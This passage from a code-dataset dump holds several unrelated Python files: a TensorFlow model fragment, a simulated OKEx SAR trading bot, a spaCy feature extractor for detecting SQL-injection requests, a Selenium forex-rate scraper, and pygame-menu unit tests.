#run_metadata=run_metadata\n )\n\n #fetched_timeline = timeline.Timeline(run_metadata.step_stats)\n #chrome_trace = fetched_timeline.generate_chrome_trace_format()\n #with open('timeline_02_step_%d.json' % current_epoch, 'w') as f:\n # f.write(chrome_trace)\n except tf.errors.OutOfRangeError:\n break\n\n delta = likelihood - old_likelihood\n old_likelihood = likelihood\n current_epoch += 1\n print(\"End of epoch\", current_epoch, \"likelihood:\", likelihood[0])\n\n # Run update variables passing the required variables\n sess.run([self.update_layerS, self.update_arcS, self.update_emission, self.update_transition])\n\n def perform_inference(self, batch_dataset, batch_statistics, sess):\n \"\"\"\n Takes a set and returns the most likely hidden state assignment for each node's label\n :param batch_dataset: the target labels all in a batch dataset\n :param batch_statistics: dataset of shape ? x L x A x C2\n :param sess: TensorFlow session\n :returns: most likely hidden state labels\n \"\"\"\n dataset = tf.data.Dataset.zip((batch_dataset, batch_statistics))\n iterator = dataset.make_initializable_iterator()\n next_element = iterator.get_next()\n sess.run(iterator.initializer)\n\n predictions = None\n\n while True:\n try:\n batch, stats = sess.run(next_element)\n\n # For batch in batches\n inferred_states = sess.run([self.inference], feed_dict={self.labels: batch, self.stats: stats})\n\n if predictions is None:\n predictions = inferred_states\n else:\n predictions = np.append(predictions, inferred_states)\n\n except tf.errors.OutOfRangeError:\n break\n\n return predictions\n","sub_path":"CGMMTF/VStructureTF.py","file_name":"VStructureTF.py","file_ext":"py","file_size_in_byte":16650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"44603230","text":"import sys\nimport time\nimport websocket\nimport json\nimport CandleMgr\nimport threading\nimport KGraph\nimport VirtualTrading\nimport Strategy\n\nprint(str(sys.argv))\n\nconf = open(\"bot.conf\", \"r\")\n\nconfs = conf.readline(1000).replace(\"\\n\",\"\").split(\" \")\nif confs[0].startswith(\"#\"):\n confs=conf.readline(1000).replace(\"\\n\",\"\").split(\" \")\nprint(str(confs))\nPRODUCT = confs[0]\nVirtualTrading.initialFund = float(confs[1])\nVirtualTrading.processRate = float(confs[2])\nconf.close()\n\nVirtualTrading.takeProfit=float(confs[3])\n\nVirtualTrading.init(initialFund=VirtualTrading.initialFund)\n\nif len(sys.argv) >= 2:\n if str(sys.argv[1]) == \"nogui\":\n KGraph.enable = False\nVirtualTrading.PRODUCT = PRODUCT\nthreading.Thread(target=KGraph.init, args=(PRODUCT,)).start()\nPUBLIC_URL = \"wss://ws.okex.com:8443/ws/v5/public\"\n\nws = 0\n\n\ndef connect():\n global ws\n ws = websocket.WebSocket()\n while 1:\n try:\n print(time.strftime(\"%m-%d,%H:%M:%S\", time.localtime()) + \" connecting...\")\n ws.connect(PUBLIC_URL, http_proxy_host=\"localhost\", http_proxy_port=10809)\n break\n except BaseException:\n print(\"retry...\")\n continue\n subscribeDict = {\n \"op\": \"subscribe\",\n \"args\": [{\n \"channel\": \"candle1m\",\n \"instId\": PRODUCT\n }]\n }\n\n ws.send(json.dumps(subscribeDict))\n\n print(ws.recv())\n\n\nconnect()\n\n\ndef closeCandle():\n # print(\"Close Candle:o:%.5f\" % CandleMgr.currentCandle.open + \" c:%.5f\" % CandleMgr.currentCandle.close +\n # \"\\n\\th:%.5f\" % CandleMgr.currentCandle.high + \" l:%.5f\" % CandleMgr.currentCandle.low)\n CandleMgr.candles.append(CandleMgr.currentCandle)\n CandleMgr.previousCandle = CandleMgr.currentCandle\n CandleMgr.currentCandle = CandleMgr.Candle()\n KGraph.currentX = KGraph.currentX + 1\n # VirtualTrading.lsTradingPrice = -1.0\n\n\ncurrentCandleStart = 0\n\nisPreviousSaRPointHigh = True\n\n\ndef loopRecv():\n global currentCandleStart, isPreviousSaRPointHigh, ws\n while True:\n dataJSON = \"\"\n try:\n dataJSON = ws.recv()\n except BaseException:\n connect()\n continue\n\n tStartProcess=time.time()\n\n\n # print(dataJSON)\n receive = json.loads(dataJSON)\n # check if this is a new candle\n if not receive[\"data\"][0][0] == currentCandleStart:\n if not currentCandleStart == 0:\n closeCandle()\n currentCandleStart = receive[\"data\"][0][0]\n CandleMgr.currentCandle.update(float(receive[\"data\"][0][4]))\n if CandleMgr.currentCandle.open == 0:\n CandleMgr.currentCandle.open = float(receive[\"data\"][0][1])\n\n if len(CandleMgr.candles) == 0:\n CandleMgr.currentCandle.calcSaR0()\n else:\n CandleMgr.currentCandle.calcSaR(CandleMgr.previousCandle)\n # CandleMgr.currentCandle.calcSaR(CandleMgr.combinePrevious(2))\n\n # take profit\n if CandleMgr.currentCandle.close/VirtualTrading.lsTradingPrice>=(1.0+VirtualTrading.takeProfit) and VirtualTrading.sellable():\n VirtualTrading.__doSell()\n continue\n # check if the position of sar changed\n if (not CandleMgr.currentCandle.isSaRHigher() == isPreviousSaRPointHigh) and len(CandleMgr.candles) > 1:\n if CandleMgr.currentCandle.isSaRHigher():\n if VirtualTrading.sellAll():\n isPreviousSaRPointHigh = CandleMgr.currentCandle.isSaRHigher()\n\n # KGraph.updateStatus()\n else:\n if VirtualTrading.buyAll():\n isPreviousSaRPointHigh = CandleMgr.currentCandle.isSaRHigher()\n # KGraph.updateStatus()\n # KGraph.updateCurrent()\n\n tEndProcess=time.time()\n if tEndProcess-tStartProcess>500:\n print(time.strftime(\"%m-%d,%H:%M:%S\", time.localtime()) + \" Process data spent too much time:%d ms\"%(tEndProcess-tStartProcess))\n\n\nREPAINT_INTERVAL = 0.5\n\n\ndef repaintTimer():\n count = 0\n while True:\n KGraph.updateStatus()\n KGraph.updateCurrent()\n time.sleep(REPAINT_INTERVAL)\n count = count + 1\n if count == 10:\n KGraph.resetCanvas()\n count = 0\n\n\nthreading.Thread(target=repaintTimer).start()\n\nprint(\"Thread starting.\")\n\nt0 = threading.Thread(target=loopRecv)\nprint(\"Thread started.\")\nt0.daemon = True\nt0.start()\nt0.join()\n","sub_path":"sar-bot/Connector.py","file_name":"Connector.py","file_ext":"py","file_size_in_byte":4485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"578554559","text":"import re\nimport numpy as np\nimport spacy\nimport logging\nfrom collections import Counter\nfrom urllib.parse import unquote\nfrom src.generators import DataGenerator\n\n\nlogger = logging.getLogger(__name__)\n\nclass FeatureExtractor:\n def __init__(self):\n self.nlp = spacy.load('en_core_web_md')\n\n def _samples_with_queries(self, data_generator):\n for sample in data_generator:\n # some requests may not have a query, which makes them invalid observations\n if \"query\" not in sample[\"request\"]:\n continue\n yield sample\n\n def _is_attack(self, sample):\n return sample[\"class\"][\"type\"] == \"SqlInjection\"\n\n def _tokenize(self, txt: str):\n return [self.nlp(w)[0] for w in re.split(r'\\W+', txt) if w]\n\n def _find_black_tokens(self, data_generator, n_tokens: int):\n black_tokens = Counter()\n\n for sample in self._samples_with_queries(data_generator):\n if not self._is_attack(sample):\n continue\n\n attack = self._tokenize(unquote(sample[\"request\"][\"query\"]))\n for token in attack:\n if token.is_alpha and token.has_vector and len(token.lower_) > 2:\n black_tokens[token.lower_] += 1\n\n return [w for w, _ in black_tokens.most_common(n_tokens)]\n\n def _extract_features(self, sample, black_tokens):\n query = self._tokenize(unquote(sample[\"request\"][\"query\"]))\n query_vector = np.zeros((300,))\n for token in query:\n if token.lower_ in black_tokens:\n query_vector += token.vector\n return query_vector / len(query)\n\n def extract(self, data_generator: DataGenerator):\n \"\"\"\n Returns an iterator containing (features: np.ndarray, is_attack: bool) pairs\n \"\"\"\n logger.debug(\"-----------------------\")\n logger.debug(\"BLACK TOKENS:\")\n logger.debug(\"-----------------------\")\n black_tokens = self._find_black_tokens(data_generator, 300)\n logger.debug(str(black_tokens))\n features = []\n labels = []\n for i, sample in enumerate(self._samples_with_queries(data_generator)):\n logger.debug(f\"extracting features ({i})\")\n features.append(self._extract_features(sample, black_tokens))\n labels.append(self._is_attack(sample))\n return features, labels","sub_path":"src/extractors/feature_extractor.py","file_name":"feature_extractor.py","file_ext":"py","file_size_in_byte":2379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"586564014","text":"from selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n#from analyzer import analyzer\nimport datetime\nimport pandas as pd\n\noptions = Options()\noptions.add_argument('--headless')\noptions.add_argument('--disable-gpu')\noptions.add_argument('--window-size=1280,1024')\ndriver = webdriver.Chrome(chrome_options=options)\ndriver.get('http://www.fxstreet.jp/forex-tools/rate-history-tools/?tf=1h&period=100&pair=usdjpy')\nprint(\"サイト名:{0}\".format(driver.title))\n\nbase = driver.find_element_by_xpath('//div[@class=\"section-tool section table-s1 table-tool rate-history\"]')\n\ntry:\n row = []\n for tr in base.find_elements_by_tag_name('tr'):\n row.append([td.text for td in tr.find_elements_by_tag_name('td')])\n\nexcept Exception as e:\n print(\"NG\")\n print(e)\ndriver.quit()\n\ndf = pd.DataFrame(row).dropna()\ndf.columns = ['datetime', 'open', 'high', 'low', 'close']\n\ndf['datetime'] = pd.to_datetime(df['datetime'].str.split(',').str[1].str.replace(' ','') + df['datetime'].str.split(',').str[2].str.split().str[0], format='%Y年%m月%d日%H:%M') # convert string to datetime\n\nprint(df)\n","sub_path":"pandasforex.py","file_name":"pandasforex.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"201919897","text":"# coding=utf-8\r\n\"\"\"\r\npygame-menu\r\nhttps://github.com/ppizarror/pygame-menu\r\n\r\nTEST MENU\r\nMenu object tests.\r\n\r\nLicense:\r\n-------------------------------------------------------------------------------\r\nThe MIT License (MIT)\r\nCopyright 2017-2021 Pablo Pizarro R. @ppizarror\r\n\r\nPermission is hereby granted, free of charge, to any person obtaining a\r\ncopy of this software and associated documentation files (the \"Software\"),\r\nto deal in the Software without restriction, including without limitation\r\nthe rights to use, copy, modify, merge, publish, distribute, sublicense,\r\nand/or sell copies of the Software, and to permit persons to whom the Software\r\nis furnished to do so, subject to the following conditions:\r\n\r\nThe above copyright notice and this permission notice shall be included in all\r\ncopies or substantial portions of the Software.\r\n\r\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\r\nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\r\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\r\n-------------------------------------------------------------------------------\r\n\"\"\"\r\n\r\nfrom test._utils import *\r\n\r\nfrom pygame_menu import events\r\nfrom pygame_menu.widgets import Label, Button\r\nimport pygame\r\nimport timeit\r\n\r\n# Configure the tests\r\n_TEST_TIME_DRAW = False\r\n\r\n\r\nclass MenuTest(unittest.TestCase):\r\n\r\n def setUp(self):\r\n \"\"\"\r\n Test setup.\r\n \"\"\"\r\n test_reset_surface()\r\n self.menu = MenuUtils.generic_menu(title='mainmenu')\r\n self.menu.mainloop(surface, bgfun=dummy_function)\r\n\r\n @staticmethod\r\n def test_time_draw():\r\n \"\"\"\r\n This test the time that takes to pygame_menu to draw several times.\r\n \"\"\"\r\n if not _TEST_TIME_DRAW:\r\n return\r\n menu = MenuUtils.generic_menu(title='EPIC')\r\n menu.enable()\r\n\r\n # Add several widgets\r\n for i in range(30):\r\n menu.add_button(title='epic', action=events.BACK)\r\n menu.add_vertical_margin(margin=10)\r\n menu.add_label(title='epic test')\r\n menu.add_color_input(title='color', color_type='rgb', default=(234, 33, 2))\r\n menu.add_selector(title='epic selector', items=[('1', '3'), ('2', '4')])\r\n menu.add_text_input(title='text', default='the default text')\r\n\r\n print(timeit.timeit(lambda: menu.draw(surface), number=100))\r\n\r\n def test_size(self):\r\n \"\"\"\r\n Test menu sizes.\r\n \"\"\"\r\n inf_size = 1000000000\r\n self.assertRaises(AssertionError, lambda: MenuUtils.generic_menu(width=0, height=300))\r\n self.assertRaises(AssertionError, lambda: MenuUtils.generic_menu(width=300, height=0))\r\n self.assertRaises(AssertionError, lambda: MenuUtils.generic_menu(width=-200, height=300))\r\n self.assertRaises(AssertionError, lambda: MenuUtils.generic_menu(width=inf_size, height=300))\r\n self.assertRaises(AssertionError, lambda: MenuUtils.generic_menu(width=300, height=inf_size))\r\n\r\n def test_position(self):\r\n \"\"\"\r\n Test position.\r\n \"\"\"\r\n self.assertRaises(AssertionError, lambda: MenuUtils.generic_menu(position_x=-1, position_y=0))\r\n self.assertRaises(AssertionError, lambda: MenuUtils.generic_menu(position_x=0, position_y=-1))\r\n self.assertRaises(AssertionError, lambda: MenuUtils.generic_menu(position_x=-1, position_y=-1))\r\n self.assertRaises(AssertionError, lambda: MenuUtils.generic_menu(position_x=101, position_y=0))\r\n self.assertRaises(AssertionError, lambda: MenuUtils.generic_menu(position_x=99, position_y=101))\r\n menu = MenuUtils.generic_menu(position_x=0, position_y=0)\r\n menu.set_relative_position(20, 40)\r\n\r\n def test_attributes(self):\r\n \"\"\"\r\n Test menu attributes.\r\n \"\"\"\r\n menu = MenuUtils.generic_menu()\r\n self.assertFalse(menu.has_attribute('epic'))\r\n self.assertRaises(IndexError, lambda: menu.remove_attribute('epic'))\r\n menu.set_attribute('epic', True)\r\n self.assertTrue(menu.has_attribute('epic'))\r\n self.assertTrue(menu.get_attribute('epic'))\r\n menu.set_attribute('epic', False)\r\n self.assertFalse(menu.get_attribute('epic'))\r\n menu.remove_attribute('epic')\r\n self.assertFalse(menu.has_attribute('epic'))\r\n self.assertEqual(menu.get_attribute('epic', 420), 420)\r\n\r\n def test_close(self):\r\n \"\"\"\r\n Test menu close.\r\n \"\"\"\r\n menu = MenuUtils.generic_menu()\r\n menu.set_attribute('epic', False)\r\n menu._back()\r\n\r\n def test_close():\r\n menu.set_attribute('epic', True)\r\n\r\n menu.set_onclose(test_close)\r\n self.assertTrue(not menu.is_enabled())\r\n menu.enable()\r\n self.assertFalse(menu.get_attribute('epic'))\r\n menu._close()\r\n self.assertTrue(menu.get_attribute('epic'))\r\n\r\n def test_enabled(self):\r\n \"\"\"\r\n Test menu enable/disable feature.\r\n \"\"\"\r\n menu = MenuUtils.generic_menu(onclose=events.NONE)\r\n self.assertTrue(not menu.is_enabled())\r\n menu.enable()\r\n self.assertTrue(menu.is_enabled())\r\n self.assertFalse(not menu.is_enabled())\r\n\r\n # Initialize and close\r\n menu.mainloop(surface, bgfun=dummy_function, disable_loop=True)\r\n menu._close()\r\n\r\n # noinspection PyArgumentEqualDefault\r\n def test_depth(self):\r\n \"\"\"\r\n Test depth of a menu.\r\n \"\"\"\r\n self.menu.clear()\r\n self.assertEqual(self.menu._get_depth(), 0)\r\n\r\n # Adds some menus\r\n menu_prev = self.menu\r\n menu = None\r\n for i in range(1, 11):\r\n menu = MenuUtils.generic_menu(title='submenu {0}'.format(i))\r\n button = menu_prev.add_button('open', menu)\r\n button.apply()\r\n menu_prev = menu\r\n self.menu.enable()\r\n self.menu.draw(surface)\r\n\r\n self.assertNotEqual(self.menu.get_current().get_id(), self.menu.get_id())\r\n self.assertTrue(self.menu != menu)\r\n self.assertEqual(menu._get_depth(), 10)\r\n self.assertEqual(self.menu._get_depth(), 10)\r\n\r\n \"\"\"\r\n menu when it was opened it changed to submenu 1, when submenu 1 was opened\r\n it changed to submenu 2, and so on...\r\n \"\"\"\r\n self.assertEqual(self.menu.get_title(), 'mainmenu')\r\n self.assertEqual(self.menu.get_current().get_title(), 'submenu 10')\r\n self.assertEqual(menu.get_current().get_title(), 'submenu 10')\r\n\r\n \"\"\"\r\n Submenu 10 has not changed to any, so back will not affect it,\r\n but mainmenu will reset 1 unit\r\n \"\"\"\r\n menu._back()\r\n self.assertEqual(menu.get_title(), 'submenu 10')\r\n\r\n \"\"\"\r\n Mainmenu has changed, go back changes from submenu 10 to 9\r\n \"\"\"\r\n self.assertEqual(self.menu._get_depth(), 9)\r\n self.menu._back()\r\n self.assertEqual(self.menu._get_depth(), 8)\r\n self.assertEqual(self.menu.get_title(), 'mainmenu')\r\n self.assertEqual(self.menu.get_current().get_title(), 'submenu 8')\r\n\r\n \"\"\"\r\n Full go back (reset)\r\n \"\"\"\r\n self.menu.full_reset()\r\n self.assertEqual(self.menu._get_depth(), 0)\r\n self.assertEqual(self.menu.get_current().get_title(), 'mainmenu')\r\n\r\n # noinspection PyArgumentEqualDefault\r\n def test_get_widget(self):\r\n \"\"\"\r\n Tests widget status.\r\n \"\"\"\r\n self.menu.clear()\r\n\r\n widget = self.menu.add_text_input('test', textinput_id='some_id')\r\n widget_found = self.menu.get_widget('some_id')\r\n self.assertEqual(widget, widget_found)\r\n\r\n # Add a widget to a deepest menu\r\n prev_menu = self.menu\r\n for i in range(11):\r\n menu = MenuUtils.generic_menu()\r\n prev_menu.add_button('menu', menu)\r\n prev_menu = menu\r\n\r\n # Add a deep input\r\n deep_widget = prev_menu.add_text_input('title', textinput_id='deep_id')\r\n deep_selector = prev_menu.add_selector('selector', [('0', 0), ('1', 1)], selector_id='deep_selector', default=1)\r\n\r\n self.assertEqual(self.menu.get_widget('deep_id', recursive=False), None)\r\n self.assertEqual(self.menu.get_widget('deep_id', recursive=True), deep_widget)\r\n self.assertEqual(self.menu.get_widget('deep_selector', recursive=True), deep_selector)\r\n\r\n def test_add_generic_widget(self):\r\n \"\"\"\r\n Test generic widget.\r\n \"\"\"\r\n self.menu.clear()\r\n menu = MenuUtils.generic_menu()\r\n btn = menu.add_button('nice', None)\r\n w = Button('title')\r\n self.menu.add_generic_widget(w)\r\n self.assertRaises(ValueError, lambda: menu.add_generic_widget(w))\r\n btn._menu = None\r\n self.menu.add_generic_widget(btn)\r\n\r\n # noinspection PyArgumentEqualDefault\r\n def test_get_selected_widget(self):\r\n \"\"\"\r\n Tests get current widget.\r\n \"\"\"\r\n self.menu.clear()\r\n\r\n # Test widget selection and removal\r\n widget = self.menu.add_text_input('test', default='some_id')\r\n self.assertEqual(widget, self.menu.get_selected_widget())\r\n self.menu.remove_widget(widget)\r\n self.assertEqual(self.menu.get_selected_widget(), None)\r\n self.assertEqual(self.menu.get_index(), -1)\r\n\r\n # Add two widgets, first widget will be selected first, but if removed the second should be selected\r\n widget1 = self.menu.add_text_input('test', default='some_id', textinput_id='epic')\r\n self.assertRaises(IndexError, lambda: self.menu.add_text_input('test', default='some_id', textinput_id='epic'))\r\n widget2 = self.menu.add_text_input('test', default='some_id')\r\n self.assertEqual(widget1.get_menu(), self.menu)\r\n self.assertEqual(widget1, self.menu.get_selected_widget())\r\n self.menu.remove_widget(widget1)\r\n self.assertEqual(widget1.get_menu(), None)\r\n self.assertEqual(widget2, self.menu.get_selected_widget())\r\n self.menu.remove_widget(widget2)\r\n self.assertEqual(widget2.get_menu(), None)\r\n self.assertEqual(len(self.menu.get_widgets()), 0)\r\n\r\n # Add 3 widgets, select the last one and remove it, then the selected widget must be the first\r\n w1 = self.menu.add_button('1', None)\r\n w2 = Label('2')\r\n self.menu.add_generic_widget(w2, configure_defaults=True)\r\n w3 = self.menu.add_button('3', None)\r\n self.assertEqual(self.menu.get_selected_widget(), w1)\r\n self.menu.select_widget(w3)\r\n self.assertEqual(self.menu.get_selected_widget(), w3)\r\n self.menu.remove_widget(w3)\r\n # 3 was deleted, so 1 should be selected\r\n self.assertEqual(self.menu.get_selected_widget(), w1)\r\n\r\n # Hides w1, then w2 should be selected\r\n w1.hide()\r\n self.assertEqual(self.menu.get_selected_widget(), w2)\r\n\r\n # Unhide w1, w2 should be keep selected\r\n w1.show()\r\n self.assertEqual(self.menu.get_selected_widget(), w2)\r\n\r\n # Mark w1 as unselectable and remove w2, then no widget should be selected\r\n w1.is_selectable = False\r\n self.menu.remove_widget(w2)\r\n self.assertEqual(self.menu.get_selected_widget(), None)\r\n self.assertRaises(ValueError, lambda: self.menu.select_widget(w1))\r\n\r\n # Mark w1 as selectable\r\n w1.is_selectable = True\r\n self.menu.add_generic_widget(w2)\r\n self.assertEqual(self.menu.get_selected_widget(), w2)\r\n\r\n # Add a new widget that cannot be selected\r\n self.menu.add_label('not selectable')\r\n self.menu.add_label('not selectable')\r\n wlast = self.menu.add_label('not selectable', selectable=True)\r\n\r\n # If w2 is removed, then menu will try to select labels, but as them are not selectable it should select the last one\r\n w2.hide()\r\n self.assertEqual(self.menu.get_selected_widget(), wlast)\r\n\r\n # Mark w1 as unselectable, then w1 is not selectable, nor w2, and labels are unselectable too\r\n # so the selected should be the same\r\n w1.is_selectable = False\r\n self.menu.update(PygameUtils.key(pygame_menu.controls.KEY_MOVE_DOWN, keydown=True))\r\n self.assertEqual(self.menu.get_selected_widget(), wlast)\r\n\r\n # Show w2, then if DOWN is pressed again, the selected status should be 2\r\n w2.show()\r\n self.menu.update(PygameUtils.key(pygame_menu.controls.KEY_MOVE_DOWN, keydown=True))\r\n self.assertEqual(self.menu.get_selected_widget(), w2)\r\n\r\n # Hide w2, pass again to wlast\r\n w2.hide()\r\n self.assertEqual(self.menu.get_selected_widget(), wlast)\r\n\r\n # Hide wlast, then nothing is selected\r\n wlast.hide()\r\n self.assertEqual(self.menu.get_selected_widget(), None)\r\n\r\n # Unhide w2, then it should be selected\r\n w2.show()\r\n self.assertEqual(self.menu.get_selected_widget(), w2)\r\n\r\n # Remove w2, then nothing should be selected\r\n self.menu.remove_widget(w2)\r\n self.assertEqual(self.menu.get_selected_widget(), None)\r\n\r\n # Clear all widgets and get index\r\n self.menu._widgets = []\r\n self._index = 100\r\n self.assertEqual(self.menu.get_selected_widget(), None)\r\n\r\n # Destroy index\r\n self.menu._index = '0'\r\n self.assertEqual(None, self.menu.get_selected_widget())\r\n self.assertEqual(self.menu._index, 0)\r\n\r\n def test_submenu(self):\r\n \"\"\"\r\n Test submenus.\r\n \"\"\"\r\n menu = MenuUtils.generic_menu()\r\n menu2 = MenuUtils.generic_menu()\r\n btn = menu.add_button('btn', menu2)\r\n self.assertTrue(btn.to_menu)\r\n self.assertTrue(menu.in_submenu(menu2))\r\n self.assertFalse(menu2.in_submenu(menu))\r\n\r\n btn.update_callback(lambda: None)\r\n self.assertFalse(btn.to_menu)\r\n self.assertFalse(menu.in_submenu(menu2))\r\n\r\n # Test recursive\r\n menu.clear()\r\n menu2.clear()\r\n\r\n self.assertRaises(ValueError, lambda: menu.add_button('to self', menu))\r\n menu.add_button('to2', menu2)\r\n self.assertRaises(ValueError, lambda: menu2.add_button('to1', menu))\r\n\r\n def test_centering(self):\r\n \"\"\"\r\n Test centering menu.\r\n \"\"\"\r\n # Vertical offset disables centering\r\n theme = pygame_menu.themes.THEME_BLUE.copy()\r\n theme.widget_offset = (0, 100)\r\n menu = MenuUtils.generic_menu(theme=theme)\r\n self.assertEqual(menu.get_theme(), theme)\r\n self.assertFalse(menu._center_content)\r\n\r\n # Outer scrollarea margin disables centering\r\n theme = pygame_menu.themes.THEME_BLUE.copy()\r\n theme.scrollarea_outer_margin = (0, 100)\r\n menu = MenuUtils.generic_menu(theme=theme)\r\n self.assertFalse(menu._center_content)\r\n\r\n # Normal\r\n theme = pygame_menu.themes.THEME_BLUE.copy()\r\n menu = MenuUtils.generic_menu(theme=theme)\r\n self.assertTrue(menu._center_content)\r\n\r\n def test_getters(self):\r\n \"\"\"\r\n Test other getters.\r\n \"\"\"\r\n self.assertTrue(self.menu.get_menubar_widget() is not None)\r\n self.assertTrue(self.menu.get_scrollarea() is not None)\r\n\r\n w, h = self.menu.get_size()\r\n self.assertEqual(int(w), 600)\r\n self.assertEqual(int(h), 400)\r\n\r\n w, h = self.menu.get_window_size()\r\n self.assertEqual(int(w), 600)\r\n self.assertEqual(int(h), 600)\r\n\r\n def test_generic_events(self):\r\n \"\"\"\r\n Test key events.\r\n \"\"\"\r\n self.menu.clear()\r\n\r\n # Add a menu and a method that set a function\r\n event_val = [False]\r\n\r\n def _some_event():\r\n event_val[0] = True\r\n return 'the value'\r\n\r\n # Add some widgets\r\n button = None\r\n wid = []\r\n for i in range(5):\r\n button = self.menu.add_button('button', _some_event)\r\n wid.append(button.get_id())\r\n self.assertEqual(len(self.menu.get_widgets()), 5)\r\n\r\n # Create a event in pygame\r\n self.menu.update(PygameUtils.key(pygame_menu.controls.KEY_MOVE_UP, keydown=True))\r\n self.assertEqual(self.menu.get_index(), 1)\r\n\r\n # Move down twice\r\n for i in range(2):\r\n self.menu.update(PygameUtils.key(pygame_menu.controls.KEY_MOVE_DOWN, keydown=True))\r\n self.assertEqual(self.menu.get_index(), 4)\r\n self.menu.update(PygameUtils.key(pygame_menu.controls.KEY_MOVE_UP, keydown=True))\r\n self.assertEqual(self.menu.get_index(), 0)\r\n\r\n # Press enter, button should trigger and call function\r\n self.assertEqual(button.apply(), 'the value')\r\n self.menu.update(PygameUtils.key(pygame_menu.controls.KEY_APPLY, keydown=True))\r\n\r\n # Other\r\n self.menu.update(PygameUtils.key(pygame_menu.controls.KEY_CLOSE_MENU, keydown=True))\r\n self.menu.update(PygameUtils.key(pygame_menu.controls.KEY_BACK, keydown=True))\r\n\r\n # Check index is the same as before\r\n self.assertEqual(self.menu.get_index(), 0)\r\n\r\n # Check joy\r\n self.menu.update(PygameUtils.joy_key(pygame_menu.controls.JOY_UP))\r\n self.assertEqual(self.menu.get_index(), 4)\r\n self.menu.update(PygameUtils.joy_key(pygame_menu.controls.JOY_DOWN))\r\n self.assertEqual(self.menu.get_index(), 0)\r\n self.menu.update(PygameUtils.joy_motion(1, 1))\r\n self.assertEqual(self.menu.get_index(), 1)\r\n self.menu.update(PygameUtils.joy_motion(1, -1))\r\n self.assertEqual(self.menu.get_index(), 0)\r\n self.menu.update(PygameUtils.joy_motion(1, -1))\r\n self.assertEqual(self.menu.get_index(), 4)\r\n\r\n click_pos = PygameUtils.get_middle_rect(button.get_rect())\r\n self.menu.update(PygameUtils.mouse_click(click_pos[0], click_pos[1]))\r\n self.assertTrue(event_val[0])\r\n event_val[0] = False\r\n\r\n def test_back_event(self):\r\n \"\"\"\r\n Test back event.\r\n \"\"\"\r\n self.menu.clear()\r\n self.assertEqual(self.menu._get_depth(), 0)\r\n menu = MenuUtils.generic_menu(title='submenu')\r\n button = self.menu.add_button('open', menu)\r\n button.apply()\r\n self.assertEqual(self.menu._get_depth(), 1)\r\n self.menu.update(PygameUtils.key(pygame_menu.controls.KEY_BACK, keydown=True)) # go back\r\n self.assertEqual(self.menu._get_depth(), 0)\r\n\r\n def test_mouse_empty_submenu(self):\r\n \"\"\"\r\n Test mouse event where the following submenu has less elements.\r\n \"\"\"\r\n self.menu.clear()\r\n self.menu.enable()\r\n\r\n submenu = MenuUtils.generic_menu() # 1 option\r\n submenu.add_button('button', lambda: None)\r\n\r\n self.menu.add_button('button', lambda: None)\r\n self.menu.add_button('button', lambda: None)\r\n button = self.menu.add_button('button', submenu)\r\n self.menu.disable()\r\n self.assertRaises(RuntimeError, lambda: self.menu.draw(surface))\r\n self.menu.enable()\r\n self.menu.draw(surface)\r\n\r\n click_pos = PygameUtils.get_middle_rect(button.get_rect())\r\n self.menu.update(PygameUtils.mouse_click(click_pos[0], click_pos[1]))\r\n\r\n def test_input_data(self):\r\n \"\"\"\r\n Test input data gathering.\r\n \"\"\"\r\n self.menu.clear()\r\n\r\n self.menu.add_text_input('text1', textinput_id='id1', default=1) # Force to string\r\n data = self.menu.get_input_data(True)\r\n self.assertEqual(data['id1'], '1')\r\n\r\n self.menu.add_text_input('text1', textinput_id='id2', default=1.5, input_type=pygame_menu.locals.INPUT_INT)\r\n data = self.menu.get_input_data(True)\r\n self.assertEqual(data['id2'], 1) # Cast to int\r\n self.assertRaises(IndexError, lambda: self.menu.add_text_input('text1', textinput_id='id1', default=1))\r\n\r\n self.menu.add_text_input('text1', textinput_id='id3', default=1.5, input_type=pygame_menu.locals.INPUT_FLOAT)\r\n data = self.menu.get_input_data(True)\r\n self.assertEqual(data['id3'], 1.5) # Correct\r\n\r\n # Add input to a submenu\r\n submenu = MenuUtils.generic_menu()\r\n submenu.add_text_input('text', textinput_id='id4', default='thewidget')\r\n self.menu.add_button('submenu', submenu)\r\n data = self.menu.get_input_data(recursive=True)\r\n self.assertEqual(data['id4'], 'thewidget')\r\n\r\n # Add a submenu within submenu with a repeated id, menu.get_input_data\r\n # should raise an exception\r\n subsubmenu = MenuUtils.generic_menu()\r\n subsubmenu.add_text_input('text', textinput_id='id4', default='repeateddata')\r\n submenu.add_button('submenu', subsubmenu)\r\n self.assertRaises(ValueError, lambda: self.menu.get_input_data(recursive=True))\r\n\r\n def test_columns_menu(self):\r\n \"\"\"\r\n Test menu columns behaviour.\r\n \"\"\"\r\n self.assertRaises(AssertionError, lambda: MenuUtils.generic_menu(columns=0))\r\n self.assertRaises(AssertionError, lambda: MenuUtils.generic_menu(columns=-1))\r\n self.assertRaises(AssertionError, lambda: MenuUtils.generic_menu(rows=0))\r\n self.assertRaises(AssertionError, lambda: MenuUtils.generic_menu(rows=-10))\r\n self.assertRaises(AssertionError, lambda: MenuUtils.generic_menu(columns=2, rows=0))\r\n\r\n # Assert append more widgets than number of rows*columns\r\n _column_menu = MenuUtils.generic_menu(columns=2, rows=4)\r\n for _ in range(8):\r\n _column_menu.add_button('test', pygame_menu.events.BACK)\r\n _column_menu.mainloop(surface, bgfun=dummy_function)\r\n _column_menu._left()\r\n _column_menu._right()\r\n _column_menu.disable()\r\n self.assertRaises(RuntimeError, lambda: 